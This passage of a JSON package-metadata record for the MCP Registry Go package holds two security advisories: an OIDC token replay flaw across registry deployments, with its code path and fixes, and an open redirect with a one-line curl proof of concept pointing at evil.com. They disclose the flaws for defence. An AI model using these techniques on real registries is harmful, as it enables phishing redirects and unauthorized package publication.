`c5c4b9e8890dd5754bee889b2f1417f4fe3b5ce5`\n- Vulnerability Type: Authentication bypass via cross-registry OIDC token replay\n- Affected Location: `cmd/publisher/commands/login.go:67-105,130-135,199-224`; `cmd/publisher/auth/github-oidc.go:24-38,58-75,108-165`; `internal/api/handlers/v0/auth/github_oidc.go:75-135,229-277,280-296`\n- Trigger Scenario: a workflow invokes `mcp-publisher login github-oidc --registry \u003cother-registry\u003e` (or equivalent publish flow) and the publisher still requests a GitHub Actions ID token with the shared audience `mcp-registry`; any other registry deployment running this code can replay that token to its own `/v0/auth/github-oidc` endpoint and mint a publish-capable registry JWT for the same GitHub owner namespace.\n\n## Root Cause\nThe client-side and server-side GitHub OIDC flow is bound only to a global audience string, not to the specific registry instance being targeted. On the client side, the publisher always appends `audience=mcp-registry` when requesting the GitHub Actions ID token, regardless of the selected `--registry` URL. On the server side, the exchange endpoint validates only that same fixed audience and then derives publish permissions directly from `repository_owner`. As a result, a token legitimately obtained while interacting with one registry deployment remains acceptable to any other deployment that shares the same code and audience string.\n\n## Source-to-Sink Chain\n1. Source\n   `cmd/publisher/commands/login.go:67-105,130-135,199-224` parses the user-controlled `--registry` flag into `flags.RegistryURL`, creates a `GitHubOIDCProvider`, and calls `authProvider.GetToken(ctx)` for the chosen authentication method.\n2. Propagation\n   `cmd/publisher/auth/github-oidc.go:24-38` obtains an OIDC token and immediately exchanges it against the selected registry URL.\n   `cmd/publisher/auth/github-oidc.go:58-75` builds `exchangeURL := o.registryURL + \"/v0/auth/github-oidc\"` and posts the GitHub token to whichever registry instance was selected.\n   `cmd/publisher/auth/github-oidc.go:108-165` constructs `fullURL := requestURL + \"\u0026audience=mcp-registry\"` and therefore requests the same audience for every registry deployment.\n3. Sink\n   `internal/api/handlers/v0/auth/github_oidc.go:75-135` validates only the shared audience value passed into `ValidateToken`.\n   `internal/api/handlers/v0/auth/github_oidc.go:254-277` calls `h.validator.ValidateToken(ctx, oidcToken, \"mcp-registry\")` and, on success, signs a new registry JWT.\n   `internal/api/handlers/v0/auth/github_oidc.go:280-296` converts `claims.RepositoryOwner` into the publish permission pattern `io.github.\u003cowner\u003e/*`, which is then embedded into the new registry JWT.\n\n## Exploitation Preconditions\n1. The victim uses the GitHub Actions OIDC publishing path.\n2. The victim workflow targets another registry deployment first, such as staging, self-hosted infrastructure, or an attacker-controlled registry URL.\n3. The receiving registry deployment can observe the posted OIDC token and replay it before expiry to another registry deployment running the same shared audience configuration.\n\n## Risk\nThis breaks deployment isolation between registry instances. A token issued for one registry interaction can be replayed across trust boundaries, allowing one deployment to impersonate the same GitHub owner identity on another deployment.\n\n## Impact\nAn attacker-controlled or compromised registry deployment can mint a valid registry JWT on another deployment and inherit publish permissions for the victim GitHub owner namespace. In practical terms, this enables unauthorized publication or update actions for names such as `io.github.\u003cowner\u003e/*` on the victim registry instance.\n\n## Remediation\n1. Replace the shared audience string with a registry-specific audience, such as a deployment-specific client ID or origin-derived identifier.\n2. Ensure the publisher requests the audience that matches the exact registry instance it is targeting, and ensure the server validates that same instance-specific value.\n3. Consider binding the exchange to additional deployment-specific claims so that a token captured by one registry cannot be replayed on another.\n4. Add regression tests that cover cross-deployment replay attempts between different registry URLs.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-05-08T17:06:22.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N","references":["https://github.com/modelcontextprotocol/registry/security/advisories/GHSA-95c3-6vvw-4mrq","https://github.com/modelcontextprotocol/registry/pull/1229","https://github.com/modelcontextprotocol/registry/commit/3f89fc2b1fb34fd49f3c0e1b39e964a5c67b613f","https://github.com/modelcontextprotocol/registry/releases/tag/v1.7.6","https://nvd.nist.gov/vuln/detail/CVE-2026-44428","https://github.com/advisories/GHSA-95c3-6vvw-4mrq"],"source_kind":"github","identifiers":["GHSA-95c3-6vvw-4mrq","CVE-2026-44428"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-08T18:00:08.162Z","updated_at":"2026-05-23T06:00:27.019Z","epss_percentage":0.00012,"epss_percentile":0.01956,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05NWMzLTZ2dnctNG1ycc4ABWfO","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05NWMzLTZ2dnctNG1ycc4ABWfO","packages":[{"ecosystem":"go","package_name":"github.com/modelcontextprotocol/registry","versions":[{"first_patched_version":"1.7.6","vulnerable_version_range":"\u003c 1.7.6"}],"purl":"pkg:go/github.com%2Fmodelcontextprotocol%2Fregistry"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05NWMzLTZ2dnctNG1ycc4ABWfO/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12OHZ3LWd3NWotdzdtNs4ABWfN","url":"https://github.com/advisories/GHSA-v8vw-gw5j-w7m6","title":"MCP Registry has open redirect via protocol-relative path in trailing-slash middleware","description":"### Summary\nThe TrailingSlashMiddleware in internal/api/server.go is vulnerable to an open redirect attack. An attacker can craft a URL with a protocol-relative path (e.g., //evil.com/) that, after trailing slash removal, results in a Location header of //evil.com — which browsers interpret as an absolute URL to an external domain.\n\n### Details\nThe TrailingSlashMiddleware strips trailing slashes from request paths and issues a 308 Permanent Redirect to the cleaned path. However, it does not validate or sanitize the resulting path before using it as the redirect target.\n\nWhen a request is made with a path like //evil.com/, the middleware processes it as follows:\n\n### PoC\n1. Start the registry server locally or identify a deployed instance\n2. Send a request with a double-slash path followed by an external domain:\n`curl -v https://\u003cregistry-host\u003e//evil.com/`\n\u003cimg width=\"3066\" height=\"969\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a5305f00-29bf-4708-952a-478d608f2074\" /\u003e\n3. Observe the 308 Permanent Redirect response with Location: //evil.com:\n4. When accessed in a browser, the user is redirected to https://evil.com\n\n\n\n### Impact\n**Phishing**: Attackers can abuse the trusted registry domain to redirect users to credential-harvesting pages\n**Malware distribution**: Redirect users to sites serving malicious downloads\n**Trust abuse:** Links originating from the official MCP Registry domain carry implicit trust","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-08T17:02:12.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","references":["https://github.com/modelcontextprotocol/registry/security/advisories/GHSA-v8vw-gw5j-w7m6","https://github.com/modelcontextprotocol/registry/pull/1227","https://github.com/modelcontextprotocol/registry/commit/1201cbd82b2cf6d4b56edfc05c763059a12f9fdb","https://github.com/modelcontextprotocol/registry/releases/tag/v1.7.5","https://nvd.nist.gov/vuln/detail/CVE-2026-44427","https://github.com/advisories/GHSA-v8vw-gw5j-w7m6"],"source_kind":"github","identifiers":["GHSA-v8vw-gw5j-w7m6","CVE-2026-44427"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-08T18:00:08.162Z","updated_at":"2026-05-23T06:00:27.019Z","epss_percentage":0.00017,"epss_percentile":0.04727,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12OHZ3LWd3NWotdzdtNs4ABWfN","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12OHZ3LWd3NWotdzdtNs4ABWfN","packages":[{"ecosystem":"go","package_name":"github.com/modelcontextprotocol/registry","versions":[{"first_patched_version":"1.7.5","vulnerable_version_range":"\u003e= 1.1.0, \u003c 1.7.5"}],"purl":"pkg:go/github.com%2Fmodelcontextprotocol%2Fregistry"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12OHZ3LWd3NWotdzdtNs4ABWfN/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/go/github.com/modelcontextprotocol/registry","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/go/github.com/modelcontextprotocol/registry","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/go/github.com/modelcontextprotocol/registry/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-14T04:11:06.430Z","issues_count":197,"pull_requests_count":341,"avg_time_to_close_issue":1342241.7764705883,"avg_time_to_close_pull_request":354956.2126696833,"issues_closed_count":85,"pull_requests_closed_count":221,"pull_request_authors_count":74,"issue_authors_count":85,"avg_comments_per_issue":1.9796954314720812,"avg_comments_per_pull_request":1.1612903225806452,"merged_pull_requests_count":167,"bot_issues_count":0,"bot_pull_requests_count":23,"past_year_issues_count":185,"past_year_pull_requests_count":312,"past_year_avg_time_to_close_issue":1380102.0987654321,"past_year_avg_time_to_close_pull_request":299178.9487179487,"past_year_issues_closed_count":81,"past_year_pull_requests_closed_count":195,"past_year_pull_request_authors_count":71,"past_year_issue_authors_count":81,"past_year_avg_comments_per_issue":2.0108108108108107,"past_year_avg_comments_per_pull_request":1.1185897435897436,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":23,"past_year_merged_pull_requests_count":150,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/modelcontextprotocol%2Fregistry/issues","maintainers":[{"login":"domdomegg","count":106,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/domdomegg"},{"login":"rdimitrov","count":47,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/rdimitrov"},{"login":"tadasant","count":31,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tadasant"},{"login":"toby","count":16,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/toby"},{"login":"connor4312","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/connor4312"},{"login":"aphansal123","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/aphansal123"},{"login":"sandy081","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/sandy081"},{"login":"thomas-sickert","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/thomas-sickert"}],"active_maintainers":[{"login":"domdomegg","count":106,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/domdomegg"},{"login":"rdimitrov","count":47,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/rdimitrov"},{"login":"tadasant","count":31,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tadasant"},{"login":"aphansal123","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/aphansal123"},{"login":"toby","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/toby"},{"login":"connor4312","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/connor4312"},{"login":"thomas-sickert","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/thomas-sickert"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fmodelcontextprotocol%2Fregistry/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fmodelcontextprotocol%2Fregistry/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fmodelcontextprotocol%2Fregistry/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fmodelcontextprotocol%2Fregistry/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fmodelcontextprotocol%2Fregistry/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fmodelcontextprotocol%2Fregistry/codemeta","maintainers":[]}